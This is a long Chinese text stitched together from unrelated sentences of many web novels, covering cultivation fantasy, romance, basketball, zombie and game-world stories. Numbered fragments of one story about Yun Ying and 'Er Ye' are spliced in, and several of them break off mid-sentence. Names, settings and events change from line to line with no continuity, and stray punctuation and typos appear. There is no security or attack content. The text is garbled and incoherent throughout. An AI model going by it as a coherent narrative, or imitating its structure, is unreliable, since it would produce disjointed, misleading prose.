天堂之城的政权再一次拿回到手中,将草原上的粮食产地拿到手中。 既然是对方给了他们这么重要的信息,那么不论是从什么方面来说,长门都不觉得甜派的人会就这么轻而易举的放过这个机会。 于是,洪七公说了出来,而其他人全都认真听着,当他说完后,大家都排着手掌。 仿佛一个黑暗的深渊吞没了整个地方,留下了除了无尽绝望之外的所有人的心。 “粉色法宝都是这样难以御使的吗?”在距离玉桐二人的几米远地方,姬麟云一屁股坐到地上,一边拿着胡岳给部队里师级副师级军官统一派发的粉色品质的法宝气喘吁吁,一边向玉桐、莉莎、姒峰、普朗克等人问道。 “你是说了,但是你给人反应的时间了吗?还是你以为我是超人,可以瞬间转移?”穆风没好气地说道。 洛琪死命的抓着席曦晨,挣扎中席曦晨手臂被抓了好几下,头饰也被扯到了水里。 清让不禁莞尔,她何时多了一个姐姐,更让她奇怪的是,这声音听着还特别的熟悉。 明明就是他,连说话颠三倒四的习惯还是一样,他如何能不承认呢? 牛头人战士在草原上奔跑,每跨一步,在草地上留,下一道不浅的脚印。 人族的身体懦弱,成为金丹之后,完全看灵力比拼,哪怕是她这个剑修,当初渡劫的时候都不好过,哪怕她都在半空把劫雷都挡了下来,可丝丝遗漏下来的闪电还是劈的她浑身骨头疼。 “奇怪,这些人我以前怎么从来都没听说过?”金燕子闻言奇道。 燕使已经在准备上路,闻知此事,闫敏不悦。齐悦然的功勋是燕人的尸体堆积出来的,她越是被人赞颂,就越说明西宋对燕人的敌意之重。 嘿嘿嘿~不管现在围绕着完颜谋良虎是否有阴谋存在,为了将来能够撬动完颜部宗室这块铁板,不妨多关注这完颜谋良虎。 就这样,在见到这一幕之后玉三郎也是顿时就忍不住爆了一句粗口。他算是看出来了,前面这人应该对自己叔侄俩没什么恶意,但同时却也应该没安什么好心。 征西大将军不喜拐弯儿抹角,听到男子说今天有些不同,却也没有反驳。不管今天有什么不同,在他眼里都是一个样儿。 但欧阳王庭一系却恨不削骨,青鸾学宫与姬夜联姻本身就是对王权的一种挑战,如今完婚,四大学宫统战指挥方向归一,意志皆加于姬夜一身,到时候,他们只会愈发被动,直到彻底失去对瀚术的掌控。 公孙朔目光灼灼的盯着鲛肌妩,直视对方眼神,不带有任何邪念。 虽说何清平日里依然游手好闲,厮混于赌坊勾栏,但何涛念他当年救命之恩,对这个兄弟也从来是笑脸相迎,时常接济于他。 萧子期朝着自己手臂贯输灵气,灵力以外面青色的鲜血为引,涌进黑洞之中。 果然如此……看来ABC频道,已经内定灯塔国夺冠了,评审根本就是他们的人。 067 开宴 采珠的死亡率极高,但因为珍珠除了作为饰品以外,还有养生护肤的功效,这导致珍珠在贵妇人们中间非常受欢迎。 由此,采珠有大利可图,为谋生或为养家,他们也愿意试一试。 采珠本是不得已而为之,若是能养珠,既能减少人员死亡,又能扩大收益,可以说是一本万利的买卖。 只是,现在有养珠的法子么? 说完最后一个字,她抬头盯着沈桑,黑白分明的眼睛里充满了泪光,眼底深处带着期待,一动不动的盯着她。 事儿就坏在落霞山那伙土匪身上,说是土匪,实则大半都是他的私兵。 好在大家都不想让马格洛伊尔这个无名之辈拿MVP,西部队最后时刻打的很认真,可惜孙卓没在场上,最后,依靠着科比和邓肯的关键球和防守,西部战胜了东部,奥尼尔还是获得了本届全明星赛的MVP。 婉柔只当她是怒极,侧目而视,见她神色凄然,眼圈红透,心中了然。 “我发誓再也不跟孙在场上多说一句话!”安东尼无比后悔自己主动找孙卓聊天。 “那倒未必,我倒是觉得顾公子能中状元。”程三意味深长地笑。 祝柯看着他背着天佑,只觉这一幕何等的温情,言语之间何等冷澈心骨,颜面无情,却是最情深义重之人。 唐熙寒深沉如黑墨般的眸子凝着她,凌厉的远山眉皱成好看的川字,祝柯尴尬的看着主子怔住的表情,暗自摇头。 叶倾城的眼泪如断了的线从眼角滑落,一滴一滴落在墨幽浔的脸上,落在她手中死死握着的闭幽莲上。 从被抓住,卸掉下巴,送上车子,整套流程下来花费的时间没有超过五分钟,当车子一溜烟的飞驰出去之后,整个街区又恢复到了之前的平静,甚至连深夜的影灯都没能动摇一分。 黄大仙区的鸣凤街内,有一间药店十分著名,每到营业时间都以人满为患,因为药店店面面积有限,甚至在店面外头排起长长的队伍。 院长办公室的门很好看,我反复的看了好几遍门口的牌,确定是院长办公室没错,才敲了敲门。 庄允诚听到儿子的打算,露出了心喜,儿子因为眼盲,一直以来都浑浑噩噩,现今他有了动力,自己这个做父亲的,又怎么会反对呢? 大概十几分钟后,叶鸣乘的士来到了兰园宾馆,进入大堂后,看到徐立忠在客人休息区正襟危坐,一眼瞥见叶鸣的身影,立即从沙发上起身,迎着叶鸣走过来。 李秀满完全没有想到赵梓翊所谓的报酬居然是这么一件事情,赵梓翊可是以创作型歌手出道的,李秀满对于他的音乐能力没有任何否认,只是他是否能够作为一个合格的制作人,这个值得斟酌。 在朴宰范尼坤你两人的谈笑声,和赵梓翊默不作声的凄怆之下,一行三人来到了jyp公司的门前。 “恩。”叶常亮对着大堂经理点点头,随后信步走进众人的包围圈,走到严逸身边。 此时已经是夜深了,沙滩边上升起了阵阵篝火,一些游客正围着篝火笑着跳着闹着。 正当赵梓翊在思考自己是不是要在综艺节目上面多多露面的时候,门铃突然响了起来,打断了他的思绪。 可雷击必定会有声响,因此吴献打算走远一些再下手,没想到被其他人捷足先登。 068 都是我的不是 翌日一早,院子里又有动静。 云莺惦记着还有客人未送,听到动静她就赶紧起了身。 此时天色未亮,月亮还在西边天空挂着。可县衙后院已经从沉睡中苏醒,下人俱都忙碌起来。 云莺没去客院,而是直接去了车马院。 雷霆正在此处安排人手,看见云莺过来就冲她微颔首。 云莺没做声,在旁边听了 她正准备处理地上的六具尸骸的时候,忽的,警惕的抬头,双目锐利似剑,盯向数十丈外的一道暗影。 很久没有见她,叶少阳心中不免泛起了一丝异样的感觉,冲她微微一笑。 “喂。是谁”李易对着空气说道。那是游戏仓自带的语音功能,可以连接手机等通讯设施,但是需要绑定,在创建帐号的时候就已经完成了。 “神子殿下,你且进入极凶之刃的内空间暂避,接下来,交给我们吧!”四位无上境大圣之一的苍圣,冷然的道。 拳头之上,一层明亮的气膜,将老人的拳头包裹,那凌厉的气息,让已经退到了远处的章冶和铁占山,都是不由得呼吸一滞。 以布雷德现在速度的极限,要想甩掉身后的累赘恐怕很得绕着这颗星球转上个三五圈。但是,他现在不打算这么做。 张然等人一脸的羡慕,却并不嫉妒。他们本就没有太大的野心,更何况能够从一个流民成为堂堂正正的玄士,他们已经非常知足了。 “杨凡又来了,他一出现,咱们学院保准不得安生”。水若仙说道。 当问及情况的时候,这才知道,崔州平、石广元、孟公威他们三人之所以隐姓埋名,就是希望不受声名所累。 “城主我们要不要趁他羽翼未丰,现在就将他铲除!”丰天和林木有杀子之仇,林木表现出的价值越大,他就越没有机会了。 放好水后,她并没有回去,而是将水化雾,把村里的秧苗都给滋润了一遍。 这些战船都满载着天兵,盔甲整齐,一艘战船至少有两三百人左右,在船上将领的指挥下,朝着泰山城的前线压过去,一‘波’接着一‘波’,似乎是源源无尽的样子。 听着耳旁这么多慌张的声音,章泰莱也是思绪烦躁。眼神中隐隐有些不安了起来。 赵天义脸色极差的看着台上的龙剑飞,又看了看周围的人,一狠心向台上扬了扬手,示意继续。 风吹过窗台,一块白色帆布飘落,挂在路边一根杆子上。李知尘加紧路步,在街道上疾走着。 秦明眼睛微微一眯,这种攻击方式与自己泰坦星界要塞的主炮之一的跃迁棱镜极为相像,都是能够跨越空间打击敌人的手段。 秦明将培育凤翼草的法宝交给周天星宫对于他来说反而是一件好事,作为周天星宫辈分最高的人,想要拿到凤翼草并不困难。 “魔鬼……你是简直就是魔鬼……”一个军官模样的人应当是受了点轻伤,声音有些沉重。 柯青青慢慢止了哭泣,撅嘴说道:“云哥哥,这些年可想得我好苦,上回好不容易寻见你,你却伤透了我的心,我险些就打算再不见你了。”她说着说着又要流下泪来。 “那好吧,既然金刚已经再次确认,我也不好多说什么,但请这位老人家帮忙一会要主持一个公道,不知您是否可以,”龙剑飞再次确认一下。 如果我没猜错的话,极有可能这里的法律中还存在这样一条,那就是同罪的二人其中一人将另一人举报,甚至是带回村子,那么该人将减轻甚至免于刑罚。 最后,在两人的嘴唇离的只剩下一厘米的时候,于萌发现自己能动了。 众人都在聚精会神的看着苏南和王大力,两人魂力一样,这是一场势均力敌的战斗,而相比其他的分斗魂场,这里的明显人渐渐多了起来,也变得十分热闹。 与对面的十三位熊孩子相聚差不多三百丈,她们太累了,停下来休息的时候,就注意到这种奇怪的天色。 陆彦角勾起一抹无奈的苦笑,这段时间里他们都没有把这件事情处理好,是他们拖延的太久,还是这件事情真的难以解决?能够把这件事情解决好,真的就有那么麻烦吗? “这东西看上去也太恐怖了吧,我完全都拿不动!”米渡围着这把巨大的龙角兵器一边转着,一边有些吃惊的说道。 如今他的丹田里依然只有一滴完整的液态真气,虽然已经成功突破并且还达到了后天五重的境界,但他发现自己依然有着可以提升的空间,还能再进一步,于是再次拿起了装着百年灵乳的瓶子。 虽然叶菲已经是后天境界武者了,但是直接跳下去还是让她双腿有些发抖,颤颤沥沥。不过已经无需关注于她,而是直接往前迈步,叶菲控制住有些发抖的双腿,慢悠悠的跟上了步千怀。 意外之喜来的太突然,让宋莲洲暂时忘记了刚刚于萌害得他损失的生命值。 “师傅。”陆彦正在想事情的时候,一道急促的手机铃声打断了他的思考,当他打开手机看见屏幕上的联系人的时候便看到是师傅的电话,他立马按下了接通键。 069 再次被误会 有什么好不好的,你是二爷,自然你说了算。 云莺这么想着,面颊却更红了。 她素白的手指攥着帕子,一时间没出声。 察觉到衣袖似被人扯住了,云莺忙垂首去看,就见二爷正扯着她的袖子,将她往一边拉。 这一拉扯,他们就进到了一家卖云吞的铺子里。 “我们站在路中间,挡道了。你先在这云 感受实力和自身所剩时间,阎达没有贸然前行,而是转身:“正道佛门,我所不容!下一次,本座定要踏平此处!”说罢,竟在众人眼前化作邪光消散无踪。 在通往城门的北大街尽头,是一排排的酒馆以及茶社。在这里,是玩家相互组队结交的重要聚集地。也是外出归来的玩家,放松享受的首选场所。 可是混沌兽却大喜,他发现南宫黎脸色的双色突然不见了,莫非这个主人居然开窍了? 以前她这样说的时候,祁阵都不会有什么反应,所以她很是疑惑他为何会这样。 姬子鸣一只手端着碗,一只手不好意思的挠挠头,就像一个愣头愣脑的少年人一样。丝毫没有皇族皇子,当年人榜首座的姿态。 “你这个死丫头,你还得我们都急疯了,你干爷爷也来了,你跟他说!”傅家家主听起来声音有点怪怪的。 “你觉得我会答应吗?”见她没有丝毫担心的意思,叶纪瑾便问了这么一句。 越锦盛来到自己的马前,看着那呼吸渐没的黑马,从马鞍里面掏出一把匕首,一下子插在了喉管之上,黑马终于不再动了。 就在叶天一想说些什么的时候,他突然看到其他二人都是在看着自己,心里咯噔一声,知道他们想要说些什么。 按照他的计划,他打算在这里常住,因而他的背包里面存放了较多的干粮,以应对这几天的食宿问题。 “父亲,我回来了。”特罗夫将‘食物’放下,对身边那具早已经没有声息的骷髅说道,这是他的父亲。 王璇不疑林雨暄话中的水分,还以为午凯今天的反应变大,就连忙走到床边,俯下身体查看吴凯的情况。 这时吴凯隐约听到身后传来汽车的声音,他停下脚步转身一看,只见一辆中巴车正从远处向着这边慢慢的驶来,见到客车,吴凯高兴的立即向着车子不停的挥手。 因此在离开密室之后到现在,尤斯蜘蛛都是以一种自我解闷的方式行动着,不管翼魔还是娜娜妮主母在它的眼中都是逗自己开心的道具罢了。 大地猛地破碎,巨人跑了起来!!!挡在它面前的杰尔马军团只来得及注意到天空突然黑了下来,然后就失去了意识。 “谁说不是,这都让石头惹得!”常知伟感叹,估计不再生起寻石之念。 突然之前,天摇地动,所有的一切都开始晃动,似乎世界末日来临一样的景象。 看着二十多头赤嶙鼠不断地龇牙咧嘴逼近自己等人,离央面上的神色虽然也是极其凝重,但也没有如其他人那般露出恐惧绝望的神色。 看着飞掠而来的青鸾,李珣夷然不惧,反升起万丈豪情,哈哈一笑,便要握拳冲上。 本来这次‘机会’毫无威胁可言,中后卫卡斯特利尼与搭档帕万谁都有机会截住来球,不过由于两人互相误解了对方,居然同时侧身避过足球。 光是想象花月凌就知道如果自己过去下场肯定会很惨,所以说还是不要逞能,就在这里等等看吧,到时候就知道了。 070 穷山恶水,不毛之地 既然人找到了,二爷准备什么时候处理他? 总不能还留着这么大个耗子过年吧? 二爷忍俊不禁的重复了两个字,“耗子?” 云莺抿唇轻笑,“虽然不雅观,但是那样的人,也没必要给他个好听的称呼。” “你说的对。”二爷结了账,大叔找回的一把铜钱他也没要,随手扔在装钱的匣子中做赏钱了。 杨亦风同样受到了巨大的压力,虚空凝剑术第四重运至颠峰,七把丈高的巨剑悬于身侧,顿时压力一轻,杨亦风没有成圣,可是如今的法力却同样不比圣人低到哪去,这便是虚空凝剑术的优点所在。 手下败将?海天一阵愕然,难道说雷大师以前和白清风战斗过,还输了? 人就是这样,无论什么种族,什么民族都一样,当对手强过你一点点的时候,你肯定是不会服气的。可要是强过太多,完全不在一个档次之上,那么再多的服气也会化为敬佩。 而现在他所指的便是西面一条,直直朝着宜昌而去,等到了之后再是分道三处,或者入川渝地,或者转而向北去西安,或者南下贵阳…无论何去何从,这西面却是只有唯一的一条大道,绝不会有错。 说着谷婀娜给自己倒了盏酒水,一饮而尽,朝辛馥冰亮了亮杯底。 白虎嘿嘿冷笑:“我也送给他们一份大礼,怀柔给我的东西,方才已经派上用场!”言罢低语几句。 托吉祥天四大高手削弱伏魔金刚圈的福,这是他第一次进茅舍,第一次看见自己这位传说中的师父,自然兴奋紧张异常,甚至还隐隐有一丝畏惧。 任冷毅变回了三米大汉,单膝跪在身高百丈的张湖畔面前,朗声道。 听此,穹影依然没什么表情,却是景傲变了脸色,只要穹影存在的一天,无心都不会回头看他们一眼。 “你失恋了,所以借酒消愁!”胖子咋呼到,怪不得这条龙看起来这么奇怪。 心中有事么?裴馨儿挑了挑眉,脑中跳过“果然如此”四个大字。 “巫族?听说在西蜀那边有过巫术的传说,但不知道和你说的巫族有没有关系!你怎么想着问这个?”怎么感觉今天的巫凌儿有些不太正常一样,老是问一些奇怪的问题。 花了比平时多两倍的时间,迎亲队伍回到了康王府,这时,将近正午时分。 他满脸惊骇,手朝着君千汐的方向伸出,眼中有着浓浓的惊喜,贪婪之色完全显露出来。 当然,他师弟这么做,为的并不完全只是他这个师兄,觉得自己欠着他这个师兄的。 明知道这样是趁人之危,然而这种悸动的感觉让苏言无从拒绝,闭上眼睛,挑开她的贝齿,将这个唇齿之间的简单触碰变成真正意义上的吻。 向问天一改好哥哥的形象,眼里的冷意竟然丝毫不比元不羁的差多少,用看着死人的目光,看着天圣宫的这些弟子。 好在,他毕竟是一代明君,做不出君夺臣妻的事情,作为知心挚友,更加做不到横刀夺爱。他说他羡慕他,自然无关什么身份地位,他羡慕的,不过是那份自由自在,那份幸运。 守城很容易,但是那是建立在双方力量均衡的条件下,如果力量太过悬殊,那么守城都会变得不那么容易。 这个念头一闪而逝,他对当兵兴致缺乏,那样的苦日子也不是和他。 071 爱重 这一日云莺回到府里已经半上午了,难得的是,秋宁还没有过来寻她。 穗儿一边收拾云莺买来的东西,一边说,“估计是这两天累坏了。我方才问过洒扫的小丫鬟,她说秋宁姑娘院子里还没开门,那指定是现在还没起身。不过,姑娘和二爷一道出门这么大的事儿,指定瞒不过秋宁姑娘,您看吧,最多到午饭边上,秋宁姑娘一定会来 人族寿命短,还会随着一代代传承血脉衰落,到最后更是无法进行修炼,这样的种族成就天地主角,哪怕科技能力再强,洪荒意志的一波天谴就可以全数秒掉。 “我叫冷凌云,这位是我的伙伴梼杌,我们来这里是想要寻找火之境的,可是来了之后好像发现这里和其他境似乎有很大的不同。 好死不死的,这个黄刚竟然遇到了之前自己的老领导,而现在形势对于朱本胜已经是相当的不利了。 她紧紧的抓住手中的帕子,一时之间竟然迷茫得不知道该怎么办。 也正是因为他有这样的了解,这才让他对现在的形势有了一个判断。 鹏鸟降落在了洞口前的峭壁上,将地面上的东西都吹着纷纷飞舞。 这化三唯一,江萧从未动用,这一招他不知道多强大,因为这是以绝对的速度同时施展三道轨迹,他从理论上研究过,若是同时施展三道轨迹,其中充满的毁灭力量能够凝聚出一种可怕的势。 张居正的人生转折点便是万历六年,这一年他达到了人生的巅峰,但也是从这一年起,各种病症接踵而至。 说着,彭季当先纵马,第一个跑向了令狐长清的宅子,后面的衙役立即跟上,而人数众多的武侯们也不敢怠慢,连忙也跑了起来。 现如今被元始天尊送给姜子牙当坐骑,四不像也不在乎,它此时听得姜子牙说起封神榜被夺走,它瞧了瞧封神台上空空如也的桅杆心中却爽得一比。 兽潮明显冲着她与南长卿二人奔来,南长卿如此是想着探一探究竟。不然总是这般逃躲,也不是办法。 “轰!”他的岁月功法直接突破了第一层初化,进入第二层百化,而且直至达到百化的后期阶段,第一层初化他可吸食生机一甲子,而第二层百化他可吸食百年的生机,后期则能吸食六多百年的生机。 在这场对碰结束的时候,众人还未来得及反应,便看到一道黑芒冲天而起,朝着万剑山远处飞去。 “所以你什么都没有做就进去了?还带着令一起进去了?!”我问他。 也许是刚才那一棍确实够老蒋受的,他努力地挪动身子,那把刀还是结结实实砍在了他的肩膀上。 “什么?他们现在为什么要这样做?不是我早就发折子到皇上手里了吗?”魏了瓮顿时惊呆了,想到如果现代和理仁开战的后果。马上他穿上衣服,急匆匆就往侯府赶去。 茫茫大雪不停的飘落,入眼的全是白色,入耳的都是咻——咻的风声。好在他们是修炼之人,若是普通人,在这种环境下,怕是没有存活的可能。 张念祖的心里很疼,他忽然明白雷婷婷为什么磨蹭着不愿意回家了——她知道这次分开之后很可能就是永别,所以在尽量争取多的时间和他在一起。 拖着沉痛的头部,晃悠着下了床,这才发现,她所在的房间竟然一应的古色古香。 072 年夜饭 新年在众人的期盼中终于姗姗来迟。 年三十这一天,云莺给家在云归县的下人们都放了假,让他们回家与家人过个团圆节。 丫鬟婆子们走了好些,剩下的不过一、二十,原本该热闹的府里顿时冷清了下来。 不过不要紧,云莺还让灶房给下人们都准备了宴席和酒水,他们今晚可以三五成群凑在一起过个新年。 同样在吃饭的叶老叶子听完电话几乎没有什么过激的反应,而是很平静的把事儿给叶堂说了一遍,叶堂夫妻很是着急,但是老爷子在这儿呢,他们也不敢有太大的反应。 “哎,我知道,但是烟儿非得要出去,我也没有办法。”五爪魔龙无奈的说道。 其他人自然也不会袖手旁观,拳脚相加,全部打向李峰的身体。要是这些攻击全部打在李峰的身上,那么李峰必死无疑。 此时的我,想起了新一连里我的那支狙击步枪,不知道现在是不是安排给了其他战友使用。 他见大事不妙,想回到葫芦世界之中,但是这个时候水灵珠发出了幽光,这是水之法则的力量,水之法则阻止李明回到了葫芦世界之中。 弘觉老和尚左手数着念珠,右手掐诀,显得道貌岸然,和欧向风相距五十余丈,联袂而来。 这样的灵魂之体甚至能够与其他人元神相媲美。上古元神的奥妙是这个灵魂奥妙的上千倍。 虽然对主人的做法有点质疑,但是红色鬼魂不敢多说什么,只能按照黑色身影的意思去办。 “怎么你不敢和我赌吗?你不是自诩你是神枪手吗?难道这一切都只不过是你自己吹嘘的吗?”方尘进一步挑衅道。 “噗嗤……”墨离衍化斗战圣法。犹如衍化出了一口神炉。里面尽皆是装载着最为高温与可怕的火焰。能够焚化万物。荡击四方。 西楚人帝怒斥一声,却在此刻才是发现,那三个半步剑皇的气息竟然消失了。似乎从未出现过一般。 连家的戏园是一处宏大院落,称作戏楼更为恰当。连夫人的祖父陈老太爷早年走南闯北,见识开阔,晚年寓居此处不甘寂寞,将他年轻时见过的最恢弘的戏楼在自己家中复原。 “哈哈哈,让你们失望了,我试镜成功了。”易水寒笑着说道,虽然知道让他们接受这个事实有点难,但总要让他们习惯自己还是个演员。 菲儿呆呆的看着尹梅幽灵般的眼睛,有点迷迷糊糊。等到他们走了以后,菲儿趴在窗户上想:到底圆圆去哪了?不行不能坐着等,去找多尔衮,让他帮忙,想到这里,菲儿急急的起身,去找多尔衮帮忙。 耳听得一位彪形大汉满口吴侬软语的啦啦啦,李添秀一时间几乎要吐出来,随后,就看见一人用力拉扯,一人半推半就,两个家伙朝着花圃里移动过来。 不过叶冰凝还没走到水棱龟的身边,水棱龟就忽然张开了自己的嘴巴,射出了一口绿色的粘液。 楚天昭叫众人闪开,然后一把劈开棺材。里面散了,稀稀拉拉的掉出点东西。杨夫人闻声进来,大叫:“怎么回事?怎么回事?”看见地上的东西嚎啕大哭,别人拉都拉不起来。 “能让我见舜英一面吗?”金万贤提了出来,惭愧而尴尬地搓着两手说:“这么多年了……我没想过还有见到她的一天。”珍荣迅速代砚君出主意,说:“你等等,我们上去喊她来。”说完匆匆地拉着砚君的手跑开。 贾千千疑惑的跟着他来到大厅,就见瘦老头和四个男子跪在那儿,而其中有一个正是拿大木棒打她的人。 “夕颜,槿儿,雪姐,你们暂时离开这里好吗?”孤雨柔声说道,因为接下来这里恐怕将会有一场恶战。 路过教堂废墟,那面高高耸立着十字架的断墙还依然存在,显示出这座城市经历的苦难。“玉梅、红梅!我回来了!”鲁思霞心里默默念叨。 虽然他知道也许不会太乐观,毕竟以他们的实力来说,实在是太弱了,弱的根本就没有任何强大的希望。 木坤抬首望了望徐府的前院,心中有激动,担忧,忐忑;他踌躇不安的在里面巡视着那道他熟悉的身影。 所以说此时此刻他是不会收手的,若是没有见到成效,恐怕这一趟就会扑了个空,他完全想不到自己,若是扑空的话,心情会如何?肯定是非常暴躁的。 说完,蓝姬长老转身进内帐,大家伙也都离开了,直奔自己的军帐,去安排后续工作。 李南出身走到那个靶场地方,正见到两个年轻人在那里摆弄枪械。 由于韩水儿没有开车,她只好坐着林瀚宇的车去景氏集团的大楼。 漫无方向的在沙漠中寻走着,身上的痛让她的脸上一片苍白。她不知道自己到底是走了多久,也不知道自己现在是在沙漠的忠心还是已经距离沙漠边际不远了。 李南的确是高估了自己的判断,像是之前在4楼楼道里的那么一具丧尸,完全不用在意,但是现在一下子了六具,倒是难住了李南,怎么才能对付他们?怎么才能安然无恙的走到对面的药剂科? “人族联盟乃是我们这个宇宙的最高管理组织。玄黄洪荒四大星域全部都在人族联盟的管辖之下。”寇玉龙说道。 “你还是老老实实的说实话吧,你母亲重病,没有足够的银钱,你就想办法与东滨城的陈西范联络到,交换条件就是地球村的核心技术机密,我说的可对?”何朗冲对方狠狠道。 “原来你是凯特院长的学生,难怪凯特院长那么欣赏你。”我笑着说道。 “陛下圣明”,霍光看罢,又递到了廖公公手上,呈给了刘病已,刘病已现在早已有了自己的想法,那日韩增说,刘病已对此事的态度,是自有决断,霍光除了命人将刘延寿软禁起来,也不再过问此事,静等刘病已的决断。 这也难怪,世人都盛传慕雪逸清高避世,神秘莫测,多么王亲国戚想巴结都无从入手,又怎么会想到他是名不经传的飞狐谷里的一个大夫呢? 等来的只有我自己卧室中那毫无征兆的手机铃声,进屋一看是何雅打来的。 073称得上的是好酒 倒是进了长安候府的庄子后,日子好过不少。 庄子上规矩严,但对于她们这些容貌出众的姑娘,却甚是厚待。 日常饮食她们从未被亏待过,便是过年时,也会给她们准备丰盛的宴席。 “不过嬷嬷们,通常会让姑娘们在这一晚上献艺。” 说的好听是献艺,其实跟年度考核差不多。 姑娘的节目出彩了 交互式电影游戏,抛开游戏的要素,更准确的来说应该是交互式电影,起源于上世纪的60年代,顾名思义就是将后续的剧情交给观众自己来选择。 也许,到最后他们母子还是不会接受你,但你至少,你可以尽你自己的力量,去帮助她们母子。 听出朔宸并不想提及此人,燕鸿也不做多问,她经历过的事情太多,能忘记的原因,多半是不重要,刨根究底也没什么必要。 “只是,那些坏家伙怕是不肯善罢甘休,会暗地里找郑氏集团的麻烦。像郑浩南那样苛刻严厉之人,一定不会为了我而和夏氏集团结下冤仇。”韩昊轩叹息道。 有的人只是单纯的喜欢荒野大镖客的细节,如此的真实就如同这真的是一个存在的世界,而不是虚拟的游戏一样。 看到燕鸿递过来的华美的白衣,一眼看去就知道这定然是贵重无比的,神琂眼睛里面满是震惊,他长这么大,还从没人送过他这么贵重的礼物。 今天伊薇穿了一件淡紫色的纱裙,领口是V字形的,脖子上坠了一颗血红色的珊瑚珠吊坠,头发微卷,柔柔地披在肩上,发间那抹白色的珍珠耳坠若隐若现。 一个想法立马窜上她脑门:该不会这房子大了容易闹鬼吧?空气里瞬间多了几分惊悚的味道。 言下之意很清楚,成不成功看的不是宣传的决策什么的,而是游戏本身的品质。 赵高发现阿婉做的菜不能凭着第一印象,所以对铁锅蛋的外貌也包容许多。 方雅于是把最近方家遇到的种种问题,以及现在的困难,股市上有人专门针对方氏企业的大动作都讲了。在讲述过程中,方雅渐渐收拾了自己的旖念,觉得自己在进行一桩很严肃的事情。 一旦正式建交,相互派驻使节,那些使节还能够充当间谍的功能,这样自己的虚弱就会被泄漏出去。当年暗辉冥族不愿意和萨托雷斯神族建立外交关系就是这个缘故。 说话时,横行不知道,他所面对的形势不像表现上看得那么严峻。 可雷吉穆斯却丝毫高兴不起来,因为在这里战斗着的异形只有十几万头。其余的异形早已经四散开来。 萧玉为人十分谨慎,在酒宴之上,他喝的有些醉了,到了该休息的时候,他却没有真的睡着。 平时还不觉得,再说两年并不是一个漫长的期限。秦烈也觉得自己有足够的耐心等待瓜熟蒂落的时节到来。 梅儿啐了温婉一口“真真的越来越没脸没皮的。”说完脸红彤彤的,跟煮熟的虾子似的。 红楼三楼,凌晨一点左右,明月跃上对面的高楼。苏晨终忍不住“喂”了一句。 云海到达洞底后,甚是担心齐冷寒的安危,他仰望着脸,焦急的等待着,直到齐冷寒安全下来才放心。 他的头发被黑色帽子裹住,眼眸透着妖邪,浑身上下散发地狱般的阴冷。 嗨,毕竟出身赌石世家,即便杨坤不是赌石高手,那也不是郑则所能挑衅的!两人立即击掌相约,下午去会场见高下。 074做姨娘? 除夕这一晚,云莺喝醉了。 她隐隐记得,她睡得正酣时,外边似响起了噼里啪啦的鞭炮声。她烦闷的往“被子”里钻,便有一双温热的大手,捂住了她的耳朵。 恼人的噪音没有了,外边的欢呼雀跃声也没有了。 她睡得更好了。 恍然间就如躺在云朵中一般,她身子绵软发烫,飘飘然似成了仙。 中间 但是速度不够,时间来凑,况且黑狗最不缺的就是耐心,一个星期以来,他就一直待在据点里面,打听到了不少的消息。 “好,那就多留几日,打扰张真人清修了。”伍樊赞同,又向张真人告辞。 出了孟院长的办公室,秦远在外面抽了两支烟,镇定一下心神,而后走回夏母的病房。 想当初陆宣仍在陈朝国都当接引使的时候,楚玲珑还曾假扮过大唐公主,替他好好羞辱了一番冯家和周二公子。 先锋军的冲锋号立刻就响彻了战场,警卫师的2个步兵旅一万大军马上就发起了进攻。 然而身处丛林的他们并不看得见太阳,只有星星点点的眼光透过与树叶之间的缝隙撒了下来,让他们知道已经早上了。 仅仅片刻时间,就有人冲了进去,对里面的敌人发起了进攻。并且,还有3个大队把守住了城门口,进行阻击敌人,为他们撤退留下后路。 沈柔强忍着内心的怒火,银牙紧咬,真是恨不得给他一脚的那种冲动。 众人面面相觑,都是无语,心想稍后陆宣出来恐怕免不了被楚无夜一番训斥了。 他现在也没有十足的把握走过去,然后把沈雨瑶连带着她怀里面的褚宝宝一起去抱下来。 “那又如何?我只要实验基地……”顾墨琛吃力的说道,淡淡的声音,足以让北冥枢震撼。 “这只是我跟他们的观念不一样,不代表我就是错的。但他们提出来了,我也就不再坚持,依然以团队的团结为主。”吴子林立即说道。 他早就已经确定了自己的想法。但是母亲的身子不太好,他不想去刺激她。可现在看来……不表明自己的态度是不行了。 哪怕,以后,褚宝宝在知道这些事情以后,会埋怨他们,她也不后悔。 “好。”唐辉现在彻底是慌了神,不知道该做什么,只能听高翔说什么就是什么刚想上前执行高翔的指令,脚步刚卖出去一步,马上又缩了回来。 苏汐颜接收到自己三哥的眼神,二话不说,赶紧放下自己刚才端着的水,然后坐回自己的位置,目不斜视的盯着前方。 这是木苏苏认识刘晨溪以来,刘晨溪第一次主动挂她电话,这让她一时有些难以适应,但想起刘晨溪真正的身份,木苏苏也就释怀了。 梦?若这个现实,也是一层梦,那她原来是谁呢?她否定了白叶的存在,谁又会否定她的存在? 如之前所说,计春海最佩服有实力的,带种的,从蒋恪替伍当挡下那巨大火柱开始,他就佩服蒋恪佩服到难以言喻的程度,这会儿见吕步死咬不放,他愤愤不平。 毫无疑问,蒋恪的出现令所有人都是懵住了,无论是认识他的何福堂孝正几人,或是头一次看到蒋恪的程坤与蟒牙特战队八人。 正是先前在青冥秘境那条毒蛟所在的湖水中拾来的珍珠,碧玉镯子则是在宝鉴山所买的那件储物灵器。 075躲着 不说云莺如何,只说这之后几日,县衙门口装拜帖的篓子,几乎每天都是满的。 但二爷并不是个多么喜欢见客的县老爷,他每天只会视情况而定,或择三五人,或只选一人见一见。 其余拜帖他大多是视而不见,直接丢去灶房烧火了事儿。 即便见得人少,但每次见人,二爷雷打不动要留人中午用膳。 个别相 张逸维二十二年前落脚冲虚古观,那时候的冲虚古观还是比较破落的,张家捐助了大量的金钱,加上其他方面的捐助,合力翻修,才有了今日冲虚古观的雏形。 白平子等人她是信得过的,但杨珩未必信得过他们。她家的人都在楼下,叫一声就能冲上来,杨珩怎么看也不像会对她不利的样子,于是她没怎么多想就点头让白平子等三人到楼下去等。 清晨的天际,一道炫丽的紫色精芒从空中照射而下,那光芒蕴含着的源气,比洛思涵身上更加浓郁,更加纯净!而且,那是经过强烈的浓缩之后形成的! ,。 而受伤之后两人的战斗力都要下降。而现在,那灵环组合箭的攻击力几乎都让洛思涵承担下来,在经过七阶灵尊的加持之后,洛思涵的战斗力最起码也是翻一倍。而以他的体质,挡下这一击之后虽然也受伤,但是并不算严重。 铁甲兽上面的骑士们,利用铁甲兽那强悍的身体和冲击力,仅仅是一个照面就将唐浩手下的雇佣兵军团的冲锋挡了下来。 